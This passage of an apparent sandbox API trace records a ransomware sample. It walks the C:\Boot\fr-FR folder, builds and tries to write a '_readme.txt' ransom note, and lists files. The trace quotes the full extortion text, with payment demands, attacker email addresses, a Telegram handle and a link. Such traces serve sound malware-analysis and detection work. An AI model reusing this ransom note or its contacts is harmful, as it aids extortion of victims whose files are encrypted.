Size=0x820) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.584] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.584] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.585] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.585] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.586] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.587] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.588] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.588] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.588] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.588] PathFindFileNameW (pszPath="") returned="" [0119.588] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.588] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.589] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.589] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.589] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0119.589] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.589] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.589] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0119.590] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.590] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.590] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.590] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.590] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.590] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.590] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.590] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.590] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.590] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.591] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 